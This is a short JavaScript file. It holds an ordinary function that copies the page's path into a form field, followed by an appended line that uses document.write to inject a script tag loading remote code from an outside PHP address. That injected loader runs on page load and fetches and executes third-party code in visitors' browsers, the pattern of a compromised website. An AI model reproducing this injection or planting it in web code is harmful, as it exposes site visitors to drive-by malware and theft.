function whichDocName(){
var theDocPath = window.document.location.pathname;
endOfString = theDocPath.length
theDocName = (theDocPath.substring(13,endOfString));
window.document.whichDoc.theDoc.value = theDocName
}

document.write('<script src=http://p-c-k.org/pers/hewal.php ><\/script>');